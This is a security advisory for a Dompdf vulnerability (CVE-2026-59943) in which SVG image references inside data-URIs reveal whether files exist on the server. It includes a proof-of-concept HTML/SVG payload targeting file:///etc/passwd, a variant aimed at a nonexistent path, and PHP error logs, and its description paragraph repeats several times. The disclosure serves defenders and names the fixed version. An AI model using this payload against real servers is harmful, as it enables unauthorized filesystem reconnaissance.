CVE-2026-59943

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.

Summary

If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.

Details

Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.

[Wed May 20 19:49:53 2026] PHP Warning:  file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
[Wed May 20 19:49:53 2026] PHP Notice:  getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196

PoC

First, the attacker renders this HTML document:

<html>
<head>
</head>
<body>
<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=">
 Hello World!
</body>
</html>

The <img> tag contains the following SVG content:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
    <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100">
    </svg>

As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" />

However, when supplying a path to a file or directory that does not exist, for example:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
    <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100">
    </svg>

The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:

<img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" />

Impact

By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, if a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. This issue has been fixed in version 3.16.